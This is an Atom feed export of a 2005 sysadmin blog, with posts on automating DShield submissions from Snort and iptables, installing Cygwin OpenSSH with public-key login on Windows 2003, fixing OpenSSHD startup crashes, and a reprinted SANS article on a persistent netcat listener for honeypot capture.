&lt;i&gt;cp snort_portscan/test_wrapper.sh /usr/local/bin/dshield_snort_portscan&lt;/i&gt;&lt;br /&gt;   &lt;i&gt;cp snort_18_iptables/test_wrapper.sh /usr/local/bin/dshield_snort&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; When done, the folder should look similar to this: &lt;/p&gt; &lt;pre&gt;   &lt;a href="http://192.168.4.10/wiki/index.php?root%40www%20bin" mce_href="wiki/index.php?root%40www%20bin"&gt;root@www bin&lt;/a&gt;# ls&lt;br /&gt;   dshield_iptables  dshield_snort  dshield_snort_portscan&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; Create a script to launch all of the others at /usr/local/bin/dshield. &lt;/p&gt; &lt;pre&gt;   &lt;a href="http://192.168.4.10/wiki/index.php?root%40www%20bin" mce_href="wiki/index.php?root%40www%20bin"&gt;root@www bin&lt;/a&gt;# cat /usr/local/bin/dshield&lt;br /&gt;    #!/bin/bash&lt;br /&gt;   /usr/local/bin/dshield_iptables&lt;br /&gt;   /usr/local/bin/dshield_snort_portscan&lt;br /&gt;   /usr/local/bin/dshield_snort&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; Create the /var/log directory for dshield. &lt;/p&gt; &lt;pre&gt;   &lt;i&gt;mkdir /var/log/dshield&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Edit the scripts for production use. &lt;/p&gt; &lt;pre&gt;   &lt;i&gt;cd /usr/local/bin&lt;/i&gt;&lt;br /&gt;   &lt;i&gt;vi dshield_iptables&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Comment out the "echo "20021201000000" &gt; dshield.cnt" line.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Change the executable line to read "/usr/bin/iptables.pl -config=/etc/dshield/dshield_iptables.cnf &gt; /var/log/dshield/iptables_debug.txt"&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt; &lt;pre&gt;   &lt;i&gt;vi dshield_snort&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Comment out the "echo "20021201000000" &gt; dshield.cnt" line.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Change the executable line to read "/usr/bin/snort_18_syslog.pl -config=/etc/dshield/dshield_snort.cnf &gt; /var/log/dshield/snort_syslog_debug.txt"&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt; &lt;pre&gt;   &lt;i&gt;vi dshield_snort_portscan&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Comment out the "echo "20021201000000" &gt; dshield.cnt" line.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Change the executable line to read "/usr/bin/snort_portscan.pl -config=/etc/dshield/dshield_snort_portscan.cnf &gt; /var/log/dshield/snort_portscan_debug.txt"&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt; &lt;p&gt; &lt;b&gt;AUTOMATING SUBMISSIONS&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Edit the root crontab file to execute the scripts. &lt;/p&gt; &lt;pre&gt;   &lt;i&gt;crontab -e&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Add a line with "20 * * * * /usr/local/bin/dshield".  This will execute the script on the :20 minute every hour.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt; &lt;p&gt; &lt;b&gt;FINAL TESTING&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Execute the dshield script manually to test it.  Make sure the three submission emails are received. &lt;/p&gt; &lt;pre&gt;   &lt;i&gt;/usr/local/bin/dshield&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; &lt;b&gt;WRAPPING UP&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Once running well, the submission emails can be curtailed by editing the /etc/dshield/*.cnf files and blanking out the "cc=" email addresses. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8258028832195478949?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8258028832195478949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8258028832195478949' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8258028832195478949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8258028832195478949'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/02/snort-documentation-for-creating.html' title='Snort Documentation for Creating a Distributed Intusion Detection System on Fedora'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-6936465495606494431</id><published>2005-02-21T03:00:00.000-05:00</published><updated>2008-01-26T19:07:52.804-05:00</updated><title type='text'>Cygwin Documentation for Installing OpenSSH on Windows 2003</title><content type='html'>&lt;p&gt;&lt;i&gt;Tested on Windows 2003.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;If you have trouble, this is also a good resource&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.cs.bham.ac.uk/%7Esmp/projects/ssh-windows/" mce_href="http://www.cs.bham.ac.uk/~smp/projects/ssh-windows/"&gt; http://www.cs.bham.ac.uk/~smp/projects/ssh-windows/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;h3&gt; Cygwin Installation Instructions - Optimized for SSH &lt;/h3&gt; &lt;p&gt; &lt;b&gt;Purpose&lt;/b&gt;&lt;br /&gt;Provide method of secure file transport. This allows for new files to be updated on the servers and for backups between servers to take place securely. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Pre-Installation&lt;/b&gt;&lt;br /&gt;See the SSH Installation document for account setup steps that must occur prior to installing Cygwin. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Installation&lt;/b&gt;&lt;br /&gt;1) Launch the Setup program. &lt;/p&gt; &lt;p&gt; 2) When the setup program starts, click "Next." &lt;/p&gt; &lt;p&gt;3) Select "Install from Local Directory" if you already have the install files downloaded. Otherwise select "Install from Internet." Click next. See below. &lt;/p&gt; &lt;p&gt; 4) Enter the desired root directory for Cygwin. This will be the '\' directory in the shell. &lt;b&gt;Install Cygwin "For All Users," otherwise you will have problems with permissions.&lt;/b&gt; Pick a text file type (recommend Unix). &lt;/p&gt; &lt;p&gt; 5) Set the local package directory if you are installing from local directory. Otherwise select your download site. &lt;/p&gt; &lt;p&gt;6) On the next screen, make sure to have the Cygwin base files and OPENSSH packages installed. I recommend installing OPENSSL as well. &lt;/p&gt; &lt;p&gt;7) The program sets off installing Cygwin packages. This may take a few minutes. When it does get to the next screen, select install Start Menu shortcuts. Click Next. &lt;/p&gt; &lt;p&gt; 8) See &lt;a href="http://192.168.4.10/wiki/index.php?Install%20SSH%20with%20PKA" mce_href="wiki/index.php?Install%20SSH%20with%20PKA"&gt;Install SSH with PKA&lt;/a&gt; document for further instruction on setting up SSH services. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3&gt; Setting up Secure Shell with Public Key Authentication Capability on Cygwin &lt;/h3&gt; &lt;p&gt; &lt;b&gt;Pre-Installation&lt;/b&gt;&lt;br /&gt;Before installing Cygwin on the server, follow these steps as the administrator account: &lt;/p&gt; &lt;p&gt; 1) Open the User/Group manager and create group "grsshd" and user "sshd". &lt;/p&gt; &lt;p&gt; 2) Make "sshd" a member of group "grsshd". &lt;/p&gt; &lt;p&gt; 3) Install Cygwin as detailed in the &lt;a href="http://192.168.4.10/wiki/index.php?Install%20Cygwin%20For%20SSH" mce_href="wiki/index.php?Install%20Cygwin%20For%20SSH"&gt;Install Cygwin For SSH&lt;/a&gt; document. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Installation&lt;/b&gt;&lt;br /&gt;Do this after installing Cygwin. Log into the SSH server machine as the system administrator. &lt;/p&gt; &lt;p&gt; 1) Execute the following commands from the Cygwin shell:&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; &lt;i&gt;$ ssh-host-config -y&lt;/i&gt;&lt;br /&gt; &lt;i&gt;$ touch /var/log/sshd.log&lt;/i&gt;&lt;br /&gt; &lt;i&gt;$ chown sshd:grsshd /var/empty /var/log/sshd.log /etc/ssh*&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; 2) Open the Services Manager. Open the properties for "Cygwin sshd" service. Navigate to the "Log On" tab. Set the service to use the ".sshd" account and enter the password for the account. Press OK. &lt;/p&gt; &lt;p&gt;3) Open the Local Security Policy manager. Navigate to Local Policies -&gt; User Rights Management. Change the following settings to include the account "sshd": &lt;/p&gt; &lt;ul&gt;&lt;li&gt; Act as part of operating system&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Replace process level token&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Adjust memory quotas for a process&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Login as service&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt; Close the Policy Manager. &lt;/p&gt; &lt;p&gt; 4) Run "&lt;i&gt;cygrunsrv -S sshd&lt;/i&gt;". If no errors, run "&lt;i&gt;cygrunsrv -Q sshd&lt;/i&gt;" for status of the service. The SSHD service is now established. Proceed to the next section if your account will be pursuing Public Key Authentication. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Establishing Public Key Authentication&lt;/b&gt;&lt;br /&gt;These instructions assume you are logged into the client machine and are using OpenSSH (Cygwin) to connect to the SSH server. If you are using another client product, such as Putty, the commands will be slightly modified, but the process is the same. Modify commands as per the requirements of your software. &lt;/p&gt; &lt;p&gt;Cygwin has some limitations with regard to PKA. PKA on the server can only be set up on the account under which the SSHD daemon (service) is run. That means for PKA logins, the connection will always log in as the "sshd" account on the remote server. If you desire access to your own account, you will have to run "ssh " and enter a password, assuming you have previously established your account on that server. &lt;/p&gt; &lt;p&gt; To establish PKA to the "sshd" account, perform the following steps: &lt;/p&gt; &lt;p&gt; 1) Generate the DSA keys for SSH protocol 2 authentication. Open a Cygwin shell and execute "&lt;i&gt;ssh-keygen -t dsa&lt;/i&gt;". Answer all questions with blanks. &lt;/p&gt; &lt;p&gt; 2) Generate the RSA keys for SSH protocol 2 authentication. Execute "&lt;i&gt;ssh-keygen -t rsa&lt;/i&gt;". Again, answer blank to all questions. &lt;/p&gt; &lt;p&gt; 3) Run "&lt;i&gt;ssh -l sshd&lt;/i&gt; ". Enter the password for the "sshd" account you set up while establishing the SSH process on the server. You should now have a prompt at the remote server under the account "sshd". &lt;/p&gt; &lt;p&gt; 4) Run "&lt;i&gt;ssh localhost&lt;/i&gt;" to generate a .ssh/known_hosts file. This gets the directory established with the proper permissions if it does not yet exist. Enter the password for "sshd" again. &lt;/p&gt; &lt;p&gt; 5) Type "&lt;i&gt;exit&lt;/i&gt;" and "&lt;i&gt;exit&lt;/i&gt;" again. You should have a prompt at your local machine under your normal user account. &lt;/p&gt; &lt;p&gt; 6) Move to your own keys directory. Run "&lt;i&gt;cd .ssh&lt;/i&gt;". &lt;/p&gt; &lt;p&gt; 7) Prepare your public keys for transport to the server. Create a directory to hold your public keys with "&lt;i&gt;mkdir pub&lt;/i&gt;". Copy your keys into this new folder with "&lt;i&gt;cp *.pub pub&lt;/i&gt;". Adjust the ownership with command "&lt;i&gt;chown -R sshd:grsshd pub&lt;/i&gt;". &lt;/p&gt; &lt;p&gt; 8) Transfer the keys to the remote SSH server. "&lt;i&gt;scp -r pub sshd@:~/.ssh&lt;/i&gt;" You will be prompted for a password. Enter the password for the "sshd" account on the remote server. Watch the status as the files transfer. &lt;/p&gt; &lt;p&gt; 9) When done, initiate a shell to the remote server to prepare the keys for use. Run "&lt;i&gt;ssh -l sshd&lt;/i&gt; " and enter the "sshd" password. You should now have a prompt indicating you are on the remote SSH server as the "sshd" account. &lt;/p&gt; &lt;p&gt; 10) Navigate to your keys with "&lt;i&gt;cd .ssh/pub&lt;/i&gt;". &lt;/p&gt; &lt;p&gt; 11) Add your keys to the authorized keys file. This will perform the actual authentication the next time you log in. "&lt;i&gt;cat *.pub &gt;&gt; ../authorized_keys&lt;/i&gt;". &lt;/p&gt; &lt;p&gt; 12) Leave the remote server. Type "&lt;i&gt;exit&lt;/i&gt;". You should now be at your local machine as your normal account. &lt;/p&gt; &lt;p&gt; 13) Test the public key authenticator. Run "&lt;i&gt;ssh -l sshd&lt;/i&gt; ". You should receive no password prompt and should be immediately logged in as the "sshd" account on the remote SSH server. &lt;/p&gt; &lt;p&gt; 14) Type "&lt;i&gt;exit&lt;/i&gt;" to leave the server. Your account is now set up for automatic Public Key Authentication to the SSH server. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3&gt; OpenSSHD service / Windows XP startup / crashing / instability problem *and* solution &lt;/h3&gt; &lt;p&gt; Dr. Daniel Schmidt&lt;br /&gt;April 02, 2005&lt;br /&gt;&lt;i&gt;from SSH-L listservice (ssh@erdelynet.com)&lt;/i&gt; &lt;/p&gt; &lt;hr /&gt;  &lt;p&gt; Hi all, &lt;/p&gt; &lt;p&gt; I recently discovered something interesting and wanted to share it with the list, in the event that someone else will avoid frustrations similar to my own. &lt;/p&gt; &lt;p&gt;I installed OpenSSH for Windows 3.8.1p1 on an XP Pro (SP2) server machine I administer in our research group. Setup was easy and it ran quietly and effectively (once I told the Windows firewall to let it do so via port 22, of course), but I noticed that I had to log in and manually start the OpenSSH service every time the server rebooted (XP is set on autoupdate, so this does indeed happen from time to time). That was a bit annoying, so I enabled automatic startup via Administrative Tools --&gt; Services. &lt;/p&gt; &lt;p&gt;Then, the fun began. After a reboot, I got a BSOD / immediate reboot two or three times in a row before it finally was able to get into Windows, and when it did so, I was getting all *kinds* of errors. Very, very ugly. I tested a bunch of different things related to what else was starting up, tried replacing the Windows firewall with &lt;a href="http://192.168.4.10/wiki/index.php?ZoneAlarm" mce_href="wiki/index.php?ZoneAlarm"&gt;ZoneAlarm&lt;/a&gt;, altered some of the other Services starting, but all to no avail - It would make it into Windows maybe half the time, and even when it did, it was not at all stable or behaving properly. &lt;/p&gt; &lt;p&gt;I noted recently that others have had problems with OpenSSHD for Windows with respect to the fact that, when the Service is set to start automatically, it apparently tries to do so before it "should", making the system as a whole very, very unhappy. I'd suspected something similar on our server, and from this article: &lt;/p&gt; &lt;p&gt; &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;EN-US;q193888" mce_href="http://support.microsoft.com/default.aspx?scid=kb;EN-US;q193888"&gt;http://support.microsoft.com/default.aspx?scid=kb;EN-US;q193888&lt;/a&gt; &lt;/p&gt; &lt;p&gt; ...modified the OpenSSHD Service's registry entry a bit.  I noted that the TCIP/IP service was already listed in the "&lt;a href="http://192.168.4.10/wiki/index.php?DependOnService" mce_href="wiki/index.php?DependOnService"&gt;DependOnService&lt;/a&gt;" list, so I figured it was probably some other network-related service, maybe the firewall or the antivirus package we're running (Symantec Antivirus Corporate Edition 9). What I decided to do, instead of trying to guess which of the hundred services I needed to have it depend on, was to look here, for the list of Service Groups (I suggest RegEdt32 so that the list doesn’t look like total crap): &lt;/p&gt; &lt;p&gt; HKEY_LOCAL_MACHINE\SYSTEM\&lt;a href="http://192.168.4.10/wiki/index.php?CurrentControlSet" mce_href="wiki/index.php?CurrentControlSet"&gt;CurrentControlSet&lt;/a&gt;\Control\&lt;a href="http://192.168.4.10/wiki/index.php?ServiceGroupOrder" mce_href="wiki/index.php?ServiceGroupOrder"&gt;ServiceGroupOrder&lt;/a&gt; &lt;/p&gt; &lt;p&gt;The Service Groups are listed here in the order Windows starts them. I noted that "Network Provider" was near the bottom of the list, and it certainly seemed reasonable that I would need to be finished starting before OpenSSHD tried to do anything, so I added "Network Provider" to my "&lt;a href="http://192.168.4.10/wiki/index.php?DependOnGroup" mce_href="wiki/index.php?DependOnGroup"&gt;DependOnGroup&lt;/a&gt;" entry, found here: &lt;/p&gt; &lt;p&gt; HKEY_LOCAL_MACHINE\SYSTEM\&lt;a href="http://192.168.4.10/wiki/index.php?CurrentControlSet" mce_href="wiki/index.php?CurrentControlSet"&gt;CurrentControlSet&lt;/a&gt;\Services\OpenSSHD &lt;/p&gt; &lt;p&gt; ...and it worked fine after that. When in doubt, I would say, just choose the absolute last thing on the Services Groups list and put that in OpenSSHD's "&lt;a href="http://192.168.4.10/wiki/index.php?DependOnGroup" mce_href="wiki/index.php?DependOnGroup"&gt;DependOnGroup&lt;/a&gt;" entry; this will ensure that it waits until everything else is done before it attempts to start. &lt;/p&gt; &lt;p&gt; Our server survives now rebooting with no problems, and OpenSSHD always starts as it should, with no user intervation (hooray!). To be fair, I'm not the first to try something like this - One can find mention of something like this in an obsolete readme file, here: &lt;/p&gt; &lt;p&gt; &lt;a href="http://www.networksimplicity.com/openssh/source/readme.txt" mce_href="http://www.networksimplicity.com/openssh/source/readme.txt"&gt;http://www.networksimplicity.com/openssh/source/readme.txt&lt;/a&gt; &lt;/p&gt; &lt;p&gt;See Troubleshooting (8). Things must've changed since then, however, as this file indicates that "The OpenSSHd service depends on the Computer Browser service so that it starts in the correct order," which is not what I found in my registry. &lt;/p&gt; &lt;p&gt;On my Win2K box at home, on the other hand, and the aforementioned Service Group "Network Provider" does not exist on it; clearly I would have to do something different here than on the aforementioned XP Pro server. It's therefore quite difficult to decide on an appropriate and general dependency for this service, since it's clear that things change quite a bit between various versions of Windows (all to the benefit of the consumer, no doubt) - For the moment it looks like this fix has to be applied on a case by case basis. One further warning, the XP SP2 update renames / changes the default startup values for some services, so we can’t assume that any two MS OS installs with the same name will be "the same" when it comes to such things. &lt;/p&gt; &lt;p&gt; Hope this helps, &lt;/p&gt; &lt;p&gt; Dr. Daniel Schmidt &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;span style="font-size:130%;"&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=SSHWindows%20installation%20resolution" mce_href="wiki/index.php?refs=SSHWindows%20installation%20resolution"&gt;SSHWindows installation resolution&lt;/a&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p&gt; &lt;/p&gt;&lt;hr /&gt; &lt;p&gt; Original Message----- From: ssh-owner@erdelynet.com &lt;a href="mailto:ssh-owner@erdelynet.com" mce_href="mailto:ssh-owner@erdelynet.com"&gt;mailto:ssh-owner@erdelynet.com&lt;/a&gt; On Behalf Of Robert Jacobson Sent: Wednesday, May 18, 2005 7:43 AM To: ssh@erdelynet.com Subject: Re: Automatic Start of opensshd service &lt;/p&gt; &lt;p&gt; At 4:59 PM +0200 5/18/05, M. Franco max-lists-at-ycom.ch |ssh_erdelynet| wrote: &gt;Hi, &gt; &gt;I also have this problem since a reboot after the installation of the &gt;OpenSSHd service. &gt; &gt;I noticed that if I manually start it after a reboot, the service works &gt;well, but not if it's started automatically. &gt; &gt;Note: I use the local system account for this service. &gt; &gt;Anybody got an idea about this ? &lt;/p&gt; &lt;p&gt; This is a now-classic problem with the sshwindows distribution from sourceforge. It is *broken*, and hasn't been updated in about 10 months now. &lt;/p&gt; &lt;p&gt; If you want a working openssh for windows, you will have to first UNINSTALL sshwindows. Make sure you remove the registry keys under HKLM and HKCU for "Software\Cygnus Solutions". (the uninstaller may do this already... &lt;/p&gt; &lt;p&gt; Then install Cygwin (www.cygwin.com).  During setup, install the packages: &lt;/p&gt; &lt;pre&gt; cygrunsrv&lt;br /&gt; openssh&lt;/pre&gt;&lt;pre&gt;&lt;br /&gt; rebase&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; (in addition to the default packages) &lt;/p&gt; &lt;p&gt; After cygwin is installed, start cygwin and run the command: &lt;/p&gt; &lt;pre&gt; ssh-host-config -y&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; After that, things *should* work -- but maybe not.  I've had several problems with permissions and such. &lt;/p&gt; &lt;p&gt; -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Robert Jacobson sohorob@pobox.com BS, Aeronautical Engineering Univ. of Md., College Park Flight Ops. Team - SOlar Heliospheric Observatory (SOHO) - &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;span style="font-size:130%;"&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=Cleanup%20the%20Cygwin%20Registry%20on%20Removal" mce_href="wiki/index.php?refs=Cleanup%20the%20Cygwin%20Registry%20on%20Removal"&gt;Cleanup the Cygwin Registry on Removal&lt;/a&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p&gt; &lt;/p&gt;&lt;p&gt; REGEDIT4 &lt;/p&gt; &lt;p&gt; [-HKEY_LOCAL_MACHINE\Software\Cygnus Solutions] &lt;/p&gt; &lt;p&gt; [-HKEY_CURRENT_USER\Software\Cygnus Solutions] &lt;/p&gt; &lt;p&gt; [-HKEY_USERS\.DEFAULT\Software\Cygnus Solutions] &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;a href="http://www.cs.bham.ac.uk/%7Esmp/projects/ssh-windows/" mce_href="http://www.cs.bham.ac.uk/~smp/projects/ssh-windows/"&gt; &lt;/a&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-6936465495606494431?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/6936465495606494431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=6936465495606494431' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6936465495606494431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6936465495606494431'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/02/cygwin-documentation-for-installing.html' title='Cygwin Documentation for Installing OpenSSH on Windows 2003'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-2905037054595579202</id><published>2005-02-19T03:00:00.000-05:00</published><updated>2008-01-26T20:15:34.114-05:00</updated><title type='text'>Persistent Netcat Listeners for Honeypots</title><content type='html'>This ISC article was so good, I had to reprint it for posterity if they ever decided to archive it.&lt;br /&gt;&lt;br /&gt;&lt;p&gt; &lt;i&gt;from SANS Institute Internet Storm Center&lt;/i&gt;&lt;br /&gt;by Ed Skoudis&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.php?date=2005-02-18" mce_href="http://isc.sans.org/diary.php?date=2005-02-18"&gt;http://isc.sans.org/diary.php?date=2005-02-18&lt;/a&gt;&lt;/p&gt;&lt;p&gt; The other day, we asked readers to set up honeypot listeners using Netcat to capture some of the malicious code trying to hit TCP port 41523. Now, one of the problems with the most popular Linux/UNIX implementation of Netcat (that is, Hobbit's original) is that it does not create a persistent listener. Unlike the Windows version of Netcat (with its -L option for "Listen Harder"), the original UNIX/Linux version doesn't do this. Once one client connects and drops, the listener dies. &lt;/p&gt; &lt;p&gt;There are many ways to get around this problem, such as using a different version of Netcat. However, one of my favorite simple ways to deal with this is to set up the Netcat listener in a while loop as follows: &lt;/p&gt; &lt;pre&gt; &lt;i&gt;$ while [ 1 ]; do echo "Started"; nc -l -p 41523 &gt;&gt; capture.txt; done&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; This will listen on TCP 41523, append whatever it receives to capture.txt, and then start listening again. &lt;/p&gt; &lt;p&gt;If you'd like to go further and actually log out while keeping this thing running, you can simply dump this while line in a file, called honeypot.sh. Then, chmod it so that it is executable (chmod 555 honeypot.sh). Finally, invoke it as follows: &lt;/p&gt; &lt;pre&gt; &lt;i&gt;$ nohup ./honeypot.sh &amp;amp;&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Then, logout and go watch some TV. Take a nap. Run naked through the park. Do whatever it is that you do... &lt;/p&gt; &lt;p&gt;Come back, and your little Netcat buddy will be running with its results stored in capture.txt. To kill it, you could simply kill the pid of the nc listener itself. Thanks to Don Smith for the nohup idea. Note that Don did NOT suggest the park idea. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-2905037054595579202?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/2905037054595579202/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=2905037054595579202' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2905037054595579202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2905037054595579202'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/02/persistent-netcat-listeners-for.html' title='Persistent Netcat Listeners for Honeypots'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
